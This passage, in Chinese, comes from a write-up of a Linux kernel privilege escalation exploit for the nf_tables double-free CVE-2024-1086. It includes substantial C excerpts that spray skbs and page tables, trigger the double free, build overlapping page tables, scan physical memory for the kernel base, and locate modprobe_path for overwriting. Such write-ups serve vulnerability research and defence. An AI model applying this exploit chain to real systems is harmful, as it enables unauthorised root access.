假设目标设备有 8GiB 的物理内存,这意味着我们可以将搜索范围减少到 8GiB / 16MiB = 512 个可能的物理内核基址,因为我们知道基址必须对齐到 CONFIG_PHYSICAL_START 字节。其优势在于,我们只需检查 512 个地址中每个地址的第一页中的前几个字节,以确定该页是否是内核基址。

我们可以通过暴力破解几百个物理地址来确定物理内核基址。幸运的是,脏页目录允许对整个页面进行无限制的读/写,因此允许我们每个物理(页面)地址读取 4096 字节,更幸运的是,每次覆盖 512 个页面地址。这需要我们只覆盖一次 PTE 即可找出物理内核基址(如果机器有 8GiB 内存)。

为了正确识别这 512 个物理地址中哪个包含内核基址,我编写了 get-sig:一些 Python 脚本生成了一个巨大的 memcmp 驱动的 if 语句,用来查找不同内核转储之间的重叠字节。

4.8.2 获取目标物理地址

当我们找到物理基址后,如果目标的读/写操作驻留在内核区域内,我们可以使用基于物理内核基址的硬编码偏移来找到目标物理地址,或者通过在 80MiB 的物理内核内存区域中扫描目标数据的模式来确定地址。

数据扫描技术需要 1 + 80MiB/2MiB ≈ 40 个 PTE 覆盖(假设系统有 8GiB 内存)。如果我们能使用脏页目录,且目标数据的格式是唯一的(例如 modprobe_path 的缓冲区),则数据模式扫描方法由于在不同内核版本之间具有更广泛的兼容性,因此是更好的方法,特别是当我们在编译漏洞利用时不知道偏移时。

请注意,内存扫描技术中的 80MiB 是一个估算值,实际可能更少,甚至可以优化为更小的内存区域,因为某些目标可能驻留在某些区域,这些区域具有特定的偏移。例如,内核代码可能出现在基址的偏移 +0x0 处,而内核数据可能始终从基址的 +0x1000000 开始,无论使用哪个内核,因为内核大小保持相对一致。因此,如果我们正在搜索 modprobe_path,我们可以从 +0x1000000 开始,但这还没有经过测试。

5. 概念验证

5.1 执行

让我们攻破主机系统吧,可以吗?漏洞利用的一般轮廓可以从下图中推导出来。在本节中,我会尝试将各小节与该图进行关联,以便更清晰地理解。

注意,本节中的漏洞利用指的是新版本,而不是原始的 KernelCTF 缓解措施漏洞利用(新版本同样适用于缓解实例)。相关的详细写作会在 KernelCTF 仓库中单独发布。
请随意阅读漏洞利用的源代码,可以在我的 CVE-2024-1086 概念验证(PoC)仓库中找到。

插图 5.1.1:鸟瞰视角展示漏洞利用的各个阶段。

5.1.1 设置环境

为了触发漏洞,我们需要设置一个特定的网络环境和用户名命名空间。

5.1.1.1 命名空间

对于本地权限提升(LPE)漏洞利用,我们需要启用非特权用户命名空间选项来访问 nf_tables。在像 Debian 和 Ubuntu 这样的大型发行版中,这个选项默认是启用的。因此,这些发行版比那些不允许非特权用户名命名空间的发行版具有更大的攻击面。这可以通过 sysctl kernel.unprivileged_userns_clone 来检查,值为 1 表示已启用:

代码块 5.1.1.1.1:用于检查是否启用了非特权用户命名空间的命令行。

1
2
$ sysctl kernel.unprivileged_userns_clone
kernel.unprivileged_userns_clone = 1

在漏洞利用中,我们使用以下代码来创建所需的用户和网络命名空间:

代码块 5.1.1.1.2:漏洞利用的 do_unshare() 函数,使用 C 编写,用于创建用户和网络命名空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static void do_unshare()
{
int retv;

printf("[*] creating user namespace (CLONE_NEWUSER)...\n");

// 单独执行 unshare 以便调试更容易
retv = unshare(CLONE_NEWUSER);
if (retv == -1) {
perror("unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}

printf("[*] creating network namespace (CLONE_NEWNET)...\n");

retv = unshare(CLONE_NEWNET);
if (retv == -1)
{
perror("unshare(CLONE_NEWNET)");
exit(EXIT_FAILURE);
}
}

随后,我们通过设置 UID/GID 映射来获得命名空间的 root 访问权限:

代码块 5.1.1.1.3:漏洞利用的 configure_uid_map() 函数,使用 C 编写,用于设置用户和组映射。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static void configure_uid_map(uid_t old_uid, gid_t old_gid)
{
char uid_map[128];
char gid_map[128];

printf("[*] setting up UID namespace...\n");

sprintf(uid_map, "0 %d 1\n", old_uid);
sprintf(gid_map, "0 %d 1\n", old_gid);

// 写入 UID/GID 映射。将 setgroups 设置为 "deny" 以避免权限错误
PRINTF_VERBOSE("[*] mapping uid %d to namespace uid 0...\n", old_uid);
write_file("/proc/self/uid_map", uid_map, strlen(uid_map), 0);

PRINTF_VERBOSE("[*] denying namespace rights to set user groups...\n");
write_file("/proc/self/setgroups", "deny", strlen("deny"), 0);

PRINTF_VERBOSE("[*] mapping gid %d to namespace gid 0...\n", old_gid);
write_file("/proc/self/gid_map", gid_map, strlen(gid_map), 0);

#if CONFIG_VERBOSE_
// 执行合理性检查
// 仅用于调试,因为可能对用户造成困惑
system("id");
#endif
}

5.1.1.2 Nftables

为了触发漏洞,我们需要设置具有恶意判决的钩子/规则。为了避免内容杂乱,我不会在这里显示完整的代码,大家可以随意查看 Github 仓库。不过,我使用以下函数来设置精确的判决值。

代码块 5.1.1.2.1:漏洞利用的 add_set_verdict() 函数,使用 C 编写,用于注册导致漏洞的恶意 Netfilter 判决。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 将规则判决设置为任意值
static void add_set_verdict(struct nftnl_rule *r, uint32_t val)
{
struct nftnl_expr *e;

e = nftnl_expr_alloc("immediate");
if (e == NULL) {
perror("expr immediate");
exit(EXIT_FAILURE);
}

nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT);
nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_VERDICT, val);

nftnl_rule_add_expr(r, e);
}

5.1.1.3 预分配

在开始程序的实际漏洞利用部分之前,我们需要预先分配一些对象,以防止分配器噪音的干扰,因为在漏洞利用的某些敏感区域,如果有过多的噪音,可能会导致失败。这并不复杂,更多是一种琐碎的工作,而不是技术上的魔法。

注意 CONFIG_SEC_BEFORE_STORM,它会等待所有后台分配完成,以防跨 CPU 进行的分配。这显著降低了漏洞利用的速度(1 秒 -> 11 秒),但在系统上存在大量后台噪音的情况下,极大地提高了漏洞利用的稳定性。有趣的是,在几乎没有工作负载的系统(如 KernelCTF 镜像)上,不使用 sleep 成功率从 93% 提升到 99.4%(n=1000),所以可以根据需要自行调整这个值。

代码块5.1.1.3.1:C 编写的部分漏洞利用代码,用于预先分配对象以减少内核页面分配器的噪音。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
unsigned long long *pte_area;
void *_pmd_area;
void *pmd_kernel_area;
void *pmd_data_area;
struct ip df_ip_header = {
.ip_v = 4,
.ip_hl = 5,
.ip_tos = 0,
.ip_len = 0xDEAD,
.ip_id = 0xDEAD,
.ip_off = 0xDEAD,
.ip_ttl = 128,
.ip_p = 70,
.ip_src.s_addr = inet_addr("1.1.1.1"),
.ip_dst.s_addr = inet_addr("255.255.255.255"),
};
char modprobe_path[KMOD_PATH_LEN] = { '\x00' };

get_modprobe_path(modprobe_path, KMOD_PATH_LEN);

printf("[+] running normal privesc\n");

PRINTF_VERBOSE("[*] doing first useless allocs to setup caching and stuff...\n");

pin_cpu(0);

// 为 PMD 分配 PUD(和 PMD+PTE)
mmap((void*)PTI_TO_VIRT(1, 0, 0, 0, 0), 0x2000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
*(unsigned long long*)PTI_TO_VIRT(1, 0, 0, 0, 0) = 0xDEADBEEF;

// 预注册喷射的 PTE,每个为 0x1000 * 2,因此 2 个 PTE 在与 PMD 重叠时适配
for (unsigned long long i = 0; i < CONFIG_PTE_SPRAY_AMOUNT; i++)
{
void *retv = mmap((void*)PTI_TO_VIRT(2, 0, i, 0, 0), 0x2000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);

if (retv == MAP_FAILED)
{
perror("mmap");
exit(EXIT_FAILURE);
}
}

// 为喷射的 PTE 预分配 PMD
for (unsigned long long i = 0; i < CONFIG_PTE_SPRAY_AMOUNT / 512; i++)
*(char*)PTI_TO_VIRT(2, i, 0, 0, 0) = 0x41;

_pmd_area = mmap((void*)PTI_TO_VIRT(1, 1, 0, 0, 0), 0x400000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
pmd_kernel_area = _pmd_area;
pmd_data_area = _pmd_area + 0x200000;

PRINTF_VERBOSE("[*] allocated VMAs for process:\n - pte_area: ?\n - _pmd_area: %p\n - modprobe_path: '%s' @ %p\n", _pmd_area, modprobe_path, modprobe_path);

populate_sockets();

set_ipfrag_time(1);

df_ip_header.ip_id = 0x1336;
df_ip_header.ip_len = sizeof(struct ip) * 2 + 32768 + 8 + 4000;
df_ip_header.ip_off = ntohs((8 >> 3) | 0x2000);
alloc_intermed_buf_hdr(32768 + 8, &df_ip_header);

set_ipfrag_time(9999);

printf("[*] waiting for the calm before the storm...\n");
sleep(CONFIG_SEC_BEFORE_STORM);

// ... (漏洞的剩余部分)
}

5.1.2 执行双重释放

执行双重释放是漏洞利用中最棘手的部分,因为我们需要利用 IPv4 网络代码和页面分配器。在本节中,我们将进行双重释放,以便在下一节中使用 Dirty Page Directory 获得对任何物理内存页的任意读写,这反而变得相对容易。

5.1.2.1 保留用于掩盖的干净 skb

为了在双重释放之前分配 skb(在双重释放中间释放以避免检测并确保稳定),漏洞利用向自身的 UDP 监听套接字发送 UDP 数据包。在 UDP 监听器通过 recv() 函数接收这些数据包之前,它们会作为单独的 skb 保留在内存中。

代码块 5.1.2.1.1:漏洞利用的 send_ipv4_udp() 函数,使用 C 编写,用于抽象网络数据的发送。

1
2
3
4
5
6
7
8
9
10
void send_ipv4_udp(const char* buf, size_t buflen)
{
struct sockaddr_in dst_addr = {
.sin_family = AF_INET,
.sin_port = htons(45173),
.sin_addr.s_addr = inet_addr("127.0.0.1")
};

sendto_noconn(&dst_addr, buf, buflen, sendto_ipv4_udp_client_sockfd);
}

代码块 5.1.2.1.2:部分漏洞利用代码,使用 C 编写,分配 UDP 数据包以喷射 sk_buff 对象,以便后续自由使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static void alloc_ipv4_udp(size_t content_size)
{
PRINTF_VERBOSE("[*] sending udp packet...\n");
memset(intermed_buf, '\x00', content_size);
send_ipv4_udp(intermed_buf, content_size);
}

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ...(设置代码)

// 从 skb 空闲列表中弹出 N 个 skb
for (int i = 0; i < CONFIG_SKB_SPRAY_AMOUNT; i++)
{
PRINTF_VERBOSE("[*] reserving udp packets... (%d/%d)\n", i, CONFIG_SKB_SPRAY_AMOUNT);
alloc_ipv4_udp(1);
}

// ...(漏洞的剩余部分)
}

5.1.2.2 触发双重释放的第一次释放

为了触发双重释放,我发送了一个 IP 数据包,它会触发我们之前设置的 nftables 规则。这里选择了任意协议(不包括 TCP 和 UDP),因为如果使用 TCP 或 UDP 数据包,它们会被传递到 TCP/UDP 处理器代码,而这些代码会因为数据损坏而导致内核崩溃。

请注意,IP 头中的偏移字段使用了 IP_MF 标志(0x2000),我们利用它将 skb 强制放入 IP 碎片队列,稍后通过发送“完成”的碎片来释放该 skb。另外还需要注意的是,这个 skb 的大小决定了双重释放的对象大小。如果我们分配一个内容为 0 字节的数据包,分配的 skb 头对象将位于 kmalloc-256(因为元数据的原因),而如果我们分配一个 32768 字节的数据包,它将在 order 4(来自伙伴分配器的 16 页内存块)中。

代码块 5.1.2.2.1:漏洞利用函数 send_ipv4_ip_hdr() 使用 C 编写,用于抽象校验和和套接字代码以发送原始 IP 数据包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static char intermed_buf[1 << 19]; // 简单地预分配中间缓冲区

static int sendto_ipv4_ip_sockfd;

void send_ipv4_ip_hdr(const char* buf, size_t buflen, struct ip *ip_header)
{
size_t ip_buflen = sizeof(struct ip) + buflen;
struct sockaddr_in dst_addr = {
.sin_family = AF_INET,
.sin_addr.s_addr = inet_addr("127.0.0.2") // 127.0.0.1 不会触发 ipfrag_time,不能设置为 1.1.1.1 因为 C 运行时可能会捕捉到它
};

memcpy(intermed_buf, ip_header, sizeof(*ip_header));
memcpy(&intermed_buf[sizeof(*ip_header)], buf, buflen);

// 校验和需要先设为 0
((struct ip*)intermed_buf)->ip_sum = 0;
((struct ip*)intermed_buf)->ip_sum = ip_finish_sum(ip_checksum(intermed_buf, ip_buflen, 0));

PRINTF_VERBOSE("[*] sending IP packet (%ld bytes)...\n", ip_buflen);

sendto_noconn(&dst_addr, intermed_buf, ip_buflen, sendto_ipv4_ip_sockfd);
}

代码块 5.1.2.2.2:部分漏洞利用代码,使用 C 编写,发送原始 IP 数据包并触发我们之前设置的 nftables 规则。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static char intermed_buf[1 << 19];

static void send_ipv4_ip_hdr_chr(size_t dfsize, struct ip *ip_header, char chr)
{
memset(intermed_buf, chr, dfsize);
send_ipv4_ip_hdr(intermed_buf, dfsize, ip_header);
}

static void trigger_double_free_hdr(size_t dfsize, struct ip *ip_header)
{
printf("[*] sending double free buffer packet...\n");
send_ipv4_ip_hdr_chr(dfsize, ip_header, '\x41');
}

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ...(skb 喷射)

// 从空闲列表中分配并释放 1 个 skb
df_ip_header.ip_id = 0x1337;
df_ip_header.ip_len = sizeof(struct ip) * 2 + 32768 + 24;
df_ip_header.ip_off = ntohs((0 >> 3) | 0x2000); // 等待其他碎片,8 >> 3 让它等待?
trigger_double_free_hdr(32768 + 8, &df_ip_header);

// ...(漏洞的其余部分)
}

5.1.2.3 使用 skb 掩盖双重释放

为了防止检测到双重释放并提高漏洞的稳定性,我们喷射释放之前分配的 UDP 数据包。

代码块 5.1.2.3.1:漏洞利用的 recv_ipv4_udp() 函数,使用 C 编写,用于抽象 UDP 数据包的接收。

1
2
3
4
5
6
7
8
9
10
11
static char intermed_buf[1 << 19]; // 简单地预分配中间缓冲区

static int sendto_ipv4_udp_server_sockfd;

void recv_ipv4_udp(int content_len)
{
PRINTF_VERBOSE("[*] doing udp recv...\n");
recv(sendto_ipv4_udp_server_sockfd, intermed_buf, content_len, 0);

PRINTF_VERBOSE("[*] udp packet preview: %02hhx\n", intermed_buf[0]);
}

代码块 5.1.2.3.2:部分漏洞利用代码,使用 C 编写,释放先前分配的 sk_buff 对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ...(触发双重释放)

// 将 N 个 skb 推回到 skb 空闲列表中
for (int i = 0; i < CONFIG_SKB_SPRAY_AMOUNT; i++)
{
PRINTF_VERBOSE("[*] freeing reserved udp packets to mask corrupted packet... (%d/%d)\n", i, CONFIG_SKB_SPRAY_AMOUNT);
recv_ipv4_udp(1);
}

// ...(漏洞的其余部分)
}

5.1.2.4 喷射 PTE

为了喷射 PTE(页表项),我们只需访问先前在虚拟内存区域(VMA)中注册的虚拟内存页。请注意,一个 PTE 包含 512 个页,因此总共为 0x20'0000 字节。因此,我们每次访问 0x20'0000 字节,总共访问 CONFIG_PTE_SPRAY_AMOUNT 次。

为了简化这个过程,我编写了一个宏,用于将页表索引转换为虚拟内存地址。例如,mm->pgd[pud_nr][pmd_nr][pte_nr][page_nr] 负责虚拟内存页 PTI_TO_VIRT(pud_nr, pmd_nr, pte_nr, page_nr, 0)。例如,mm->pgd[1][0][0][0] 指向虚拟内存页 0x80'0000'0000

代码块 5.1.2.4.1:部分漏洞利用代码,使用 C 编写,用于喷射 PTE 页面并定义一个宏将页表索引转换为虚拟地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#define _pte_index_to_virt(i) (i << 12)
#define _pmd_index_to_virt(i) (i << 21)
#define _pud_index_to_virt(i) (i << 30)
#define _pgd_index_to_virt(i) (i << 39)
#define PTI_TO_VIRT(pud_index, pmd_index, pte_index, page_index, byte_index) \
((void*)(_pgd_index_to_virt((unsigned long long)(pud_index)) + _pud_index_to_virt((unsigned long long)(pmd_index)) + \
_pmd_index_to_virt((unsigned long long)(pte_index)) + _pte_index_to_virt((unsigned long long)(page_index)) + (unsigned long long)(byte_index)))


static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ...(喷射释放 skb)

// 从 PCP 分配器的 order-0 列表中喷射分配 PTE
printf("[*] spraying %d pte's...\n", CONFIG_PTE_SPRAY_AMOUNT);
for (unsigned long long i = 0; i < CONFIG_PTE_SPRAY_AMOUNT; i++)
*(char*)PTI_TO_VIRT(2, 0, i, 0, 0) = 0x41;

// ...(漏洞的其余部分)
}

5.1.2.5 触发双重释放的第二次释放

之前我们已经耗尽了 PCP 列表,并在我们使用第一次释放所释放的页面条目上分配了一些 PTE。现在,我们将执行第二次释放,以利用其页面空闲列表条目分配一个重叠的 PMD。

我们需要使用非常特定的 IP 头选项组合来绕过 IPv4 碎片队列代码中的某些检查。具体细节请查看相关的背景信息和/或技术部分。

代码块 5.1.2.5.1:部分漏洞利用代码,使用 C 编写,用于触发第二次释放并导航特定的 IP 碎片队列。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ...(喷射分配 PTE)

PRINTF_VERBOSE("[*] double-freeing skb...\n");

// 对之前的 skb 触发双重释放
df_ip_header.ip_id = 0x1337;
df_ip_header.ip_len = sizeof(struct ip) * 2 + 32768 + 24;
df_ip_header.ip_off = ntohs(((32768 + 8) >> 3) | 0x2000);

// skb1->len 在 set_freepointer() 中被 s->random() 覆盖。需要使用一些技巧绕过 skb1->len,丢弃队列
// 在 ip_frag_queue() 中导致 end == offset,数据包将为空
// 持续运行直到两次释放完成,即不需要 sleep
alloc_intermed_buf_hdr(0, &df_ip_header);

// ...(漏洞的其余部分)
}

5.1.2.6 分配 PMD

现在我们有了对双重释放页的第二个空闲列表条目(注意它已经被 PTE 分配了,所以同时不存在两个空闲列表条目),我们可以将重叠的 PMD 分配到这个页。这是非常复杂的操作。

代码块 5.1.2.6.1:部分漏洞利用代码,使用 C 编写,通过写入用户态页来分配重叠的 PMD 页。

1
2
3
4
5
6
7
8
9
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ...(skb 的第二次释放)

// 分配重叠的 PMD 页(与 PTE 重叠)
*(unsigned long long*)_pmd_area = 0xCAFEBABE;

// ...(漏洞的其余部分)
}

5.1.2.7 查找重叠的 PTE

现在我们有了某处的重叠 PMD 和 PTE,我们需要找出哪一个喷射的 PTE 是重叠的。这个过程也非常简单,只需检查哪个 PTE 区域中的 PTE 条目属于 PMD 区域即可。这实际上等于检查该值是否不是原始值,表明该页被覆盖。

如果我们想执行手动合理性检查,也可以将物理地址 0x0 打印给用户。通常这属于 MMIO 设备,但通常看起来相同。

代码块 5.1.2.7.1:部分漏洞利用代码,使用 C 编写,通过写入用户态页来分配重叠的 PMD 页。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ...(分配重叠的 PMD 页)

printf("[*] checking %d sprayed pte's for overlap...\n", CONFIG_PTE_SPRAY_AMOUNT);

// 查找重叠的 PTE 区域
pte_area = NULL;
for (unsigned long long i = 0; i < CONFIG_PTE_SPRAY_AMOUNT; i++)
{
unsigned long long *test_target_addr = PTI_TO_VIRT(2, 0, i, 0, 0);

// PTE 条目 pte[0] 应该是 &pmd_area 的 PFN+标志
// 如果这是双重分配的 PTE,则值是 PFN+标志,而不是 0x41
if (*test_target_addr != 0x41)
{
printf("[+] confirmed double alloc PMD/PTE\n");
PRINTF_VERBOSE(" - PTE area index: %lld\n", i);
PRINTF_VERBOSE(" - PTE area (write target address/page): %016llx (new)\n", *test_target_addr);
pte_area = test_target_addr;
}
}

if (pte_area == NULL)
{
printf("[-] failed to detect overwritten pte: is more PTE spray needed? pmd: %016llx\n", *(unsigned long long*)_pmd_area);

return;
}

// 设置新的 PTE 值以进行合理性检查
*pte_area = 0x0 | 0x8000000000000867;

flush_tlb(_pmd_area, 0x400000);
PRINTF_VERBOSE(" - PMD area (read target value/page): %016llx (new)\n", *(unsigned long long*)_pmd_area);

// (漏洞的其余部分)
}

5.1.3 扫描物理内存

在我们设置了 PUD+PMD 双重分配后,我们可以利用 Dirty Pagedirectory 的真正潜力:一个完全从用户态进行的内核空间镜像攻击(Kernel-Space Mirroring Attack, KSMA)。现在我们可以将物理地址作为 PTE 条目写入到 PTE 区域的某个地址,然后在 PMD 区域将其“解引用”作为一个普通的内存页。

在本节中,我们将获取物理内核基址,然后利用它访问具有读写权限的 modprobe_path 内核变量。

5.1.3.1 查找内核基址

在这里,我们应用所提到的物理 KASLR 绕过方法来查找物理内核基址。假设设备有 8GiB 的物理内存,这将需要扫描的内存从 8GiB 减少到 2MiB 页面。幸运的是,我们只需要大约每页 40 字节来判断是否是内核基址,这意味着在最坏情况下需要读取 512 * 40 = 20,480 字节即可找到内核基址。

为了确定某个页是否是内核基址,我编写了 get-sig Python 脚本,该脚本查找相同地址处的常见字节(签名),过滤掉在物理内存中常见的签名,并将其转换为 memcmp 语句。通过增加内核样本的数量,我们可以扩展对其他内核的支持(例如不同的编译器和旧版本)。输出看起来像如下代码块。

代码块 5.1.3.1.1:漏洞利用函数 is_kernel_base() 使用 C 编写,通过与内核基址的签名进行比较。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static int is_kernel_base(unsigned char *addr)
{
// 感谢 Python

// get-sig kernel_runtime_1
if (memcmp(addr + 0x0, "\x48\x8d\x25\x51\x3f", 5) == 0 &&
memcmp(addr + 0x7, "\x48\x8d\x3d\xf2\xff\xff\xff", 7) == 0)
return 1;

// get-sig kernel_runtime_2
if (memcmp(addr + 0x0, "\xfc\x0f\x01\x15", 4) == 0 &&
memcmp(addr + 0x8, "\xb8\x10\x00\x00\x00\x8e\xd8\x8e\xc0\x8e\xd0\xbf", 12) == 0 &&
memcmp(addr + 0x18, "\x89\xde\x8b\x0d", 4) == 0 &&
memcmp(addr + 0x20, "\xc1\xe9\x02\xf3\xa5\xbc", 6) == 0 &&
memcmp(addr + 0x2a, "\x0f\x20\xe0\x83\xc8\x20\x0f\x22\xe0\xb9\x80\x00\x00\xc0\x0f\x32\x0f\xba\xe8\x08\x0f\x30\xb8\x00", 24) == 0 &&
memcmp(addr + 0x45, "\x0f\x22\xd8\xb8\x01\x00\x00\x80\x0f\x22\xc0\xea\x57\x00\x00", 15) == 0 &&
memcmp(addr + 0x55, "\x08\x00\xb9\x01\x01\x00\xc0\xb8", 8) == 0 &&
memcmp(addr + 0x61, "\x31\xd2\x0f\x30\xe8", 5) == 0 &&
memcmp(addr + 0x6a, "\x48\xc7\xc6", 3) == 0 &&
memcmp(addr + 0x71, "\x48\xc7\xc0\x80\x00\x00", 6) == 0 &&
memcmp(addr + 0x78, "\xff\xe0", 2) == 0)
return 1;

return 0;
}

现在是时候进行扫描了。我们将 PTE 页(与负责 pmd_kernel_area 的 PMD 页重叠)填充为所有可能是内核基址的 512 页。如果需要扫描超过 512 页,我们只需将代码放入循环中,并增加 PFN(物理地址)。

重申一下:这是 512 页,因为我们处理的是 8GiB 的物理内存。如果是 4GiB,则是 256 页,因为 4GiB / CONFIG_PHYSICAL_START = 256

当我们在 PTE 页中设置 PTE 条目(pte_area[j] = (CONFIG_PHYSICAL_START * j) | 0x8000000000000867;)时,我们设置了 PFN(CONFIG_PHYSICAL_START * j,可以看作物理地址)和相应的标志(0x8000000000000867),例如页面的权限(读写等)。

记住,从 Dirty Pagedirectory 部分我们知道,由于双重释放:mm->pgd[0][1] (PMD) == mm->pgd[0][2][0] (PTE),因此 mm->pgd[0][1][x] (PTE) == mm->pgd[0][2][0][x] (用户态页)x = 0->511。这意味着我们可以在重叠的 PMD 中覆盖 512 个 PTE,并与 512 个用户态页重叠。这些 512 个 PTE 负责另外 512 个用户态页,这意味着我们一次可以设置 512 * 512 * 0x1000 = 0x4000'0000(1GiB)内存。

为了便于阅读,我只使用了这 512 个 PTE 中的两个,并分别将它们用作 pmd_kernel_area(用于扫描内核基址)和 pmd_data_area(用于扫描内核内存内容)。

代码块 5.1.3.1.2:部分漏洞利用函数 privesc_flh_bypass_no_time() 的代码,使用 C 编写,用于查找物理内核基址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ...(设置 dirty pagedirectory)

// 范围 = (k * j) * CONFIG_PHYSICAL_ALIGN
// 每次迭代扫描 512 页(1 个 PTE 大小)以

查找内核基址
for (int k = 0; k < (CONFIG_PHYS_MEM / (CONFIG_PHYSICAL_ALIGN * 512)); k++)
{
unsigned long long kernel_iteration_base;

kernel_iteration_base = k * (CONFIG_PHYSICAL_ALIGN * 512);

PRINTF_VERBOSE("[*] setting kernel physical address range to 0x%016llx - 0x%016llx\n", kernel_iteration_base, kernel_iteration_base + CONFIG_PHYSICAL_ALIGN * 512);
for (unsigned short j = 0; j < 512; j++)
pte_area[j] = (kernel_iteration_base + CONFIG_PHYSICAL_ALIGN * j) | 0x8000000000000867;

flush_tlb(_pmd_area, 0x400000);

// 每次迭代扫描 1 页(而不是 CONFIG_PHYSICAL_ALIGN)以查找内核基址
for (unsigned long long j = 0; j < 512; j++)
{
unsigned long long phys_kernel_base;

// 检查 x64-gcc/clang 的内核代码段签名
phys_kernel_base = kernel_iteration_base + CONFIG_PHYSICAL_ALIGN * j;

PRINTF_VERBOSE("[*] phys kernel addr: %016llx, val: %016llx\n", phys_kernel_base, *(unsigned long long*)(pmd_kernel_area + j * 0x1000));

if (is_kernel_base(pmd_kernel_area + j * 0x1000) == 0)
continue;

// ...(漏洞的其余部分)
}
}

printf("[!] failed to find kernel code segment... TLB flush fail?\n");
return;
}

5.1.3.2 查找 modprobe_path

现在我们找到了物理内核基址,我们将扫描它之后的内存。为了识别 modprobe_path,我们扫描 CONFIG_MODPROBE_PATH"/sbin/modprobe")并用 '\x00' 填充到 KMOD_PATH_LEN(256)字节。如果我们找到该地址,可以通过覆盖它并检查 /proc/sys/kernel/modprobe 是否反映了这一变化来验证,因为它是对 modprobe_path 的直接引用。

如果启用了静态用户模式助手的缓解措施,也可以绕过它。我们将简单地搜索 CONFIG_STATIC_USERMODEHELPER_PATH"/sbin/usermode-helper")等。不幸的是,没有办法验证这是否是正确的实例,但应该只有一个匹配项。

然后,当找到目标时,我们将尝试覆盖它。如果失败,我们将继续扫描其他目标匹配项。

代码块 5.1.3.2.1:部分漏洞利用函数 privesc_flh_bypass_no_time() 的代码,使用 C 编写,用于查找物理 modprobe_path 地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ...

// 范围 = (k * j) * CONFIG_PHYSICAL_ALIGN
// 每次迭代扫描 512 页(1 个 PTE 大小)以查找内核基址
for (int k = 0; k < (CONFIG_PHYS_MEM / (CONFIG_PHYSICAL_ALIGN * 512)); k++)
{
unsigned long long kernel_iteration_base;

// ...(设置 512 个 PTE 条目)

// 每次迭代扫描 1 页(而不是 CONFIG_PHYSICAL_ALIGN)以查找内核基址
for (unsigned long long j = 0; j < 512; j++)
{
unsigned long long phys_kernel_base;

// ...(查找物理内核基址)

// 从内核基址扫描 40 * 0x200000(2MiB)= 0x5000000(80MiB)字节以查找 modprobe_path。如果未找到,则搜索另一个内核基址
for (int i = 0; i < 40; i++)
{
void *pmd_modprobe_addr;
unsigned long long phys_modprobe_addr;
unsigned long long modprobe_iteration_base;

modprobe_iteration_base = phys_kernel_base + i * 0x200000;

PRINTF_VERBOSE("[*] setting physical address range to 0x%016llx - 0x%016llx\n", modprobe_iteration_base, modprobe_iteration_base + 0x200000);

// 将其他线程的 PUD 数据范围页设置为内核内存
for (unsigned short j = 0; j < 512; j++)
pte_area[512 + j] = (modprobe_iteration_base + 0x1000 * j) | 0x8000000000000867;

flush_tlb(_pmd_area, 0x400000);

#if CONFIG_STATIC_USERMODEHELPER
pmd_modprobe_addr = memmem(pmd_data_area, 0x200000, CONFIG_STATIC_USERMODEHELPER_PATH, strlen(CONFIG_STATIC_USERMODEHELPER_PATH));
#else
pmd_modprobe_addr = memmem_modprobe_path(pmd_data_area, 0x200000, modprobe_path, KMOD_PATH_LEN);
#endif
if (pmd_modprobe_addr == NULL)
continue;

#if CONFIG_LEET
breached_the_mainframe();
#endif

phys_modprobe_addr = modprobe_iteration_base + (pmd_modprobe_addr - pmd_data_area);
printf("[+] verified modprobe_path/usermodehelper_path: %016llx ('%s')...\n", phys_modprobe_addr, (char*)pmd_modprobe_addr);

// ...(漏洞的其余部分)
}

printf("[-] failed to find correct modprobe_path: trying to find new kernel base...\n");
}
}

printf("[!] failed to find kernel code segment... TLB flush fail?\n");
return;
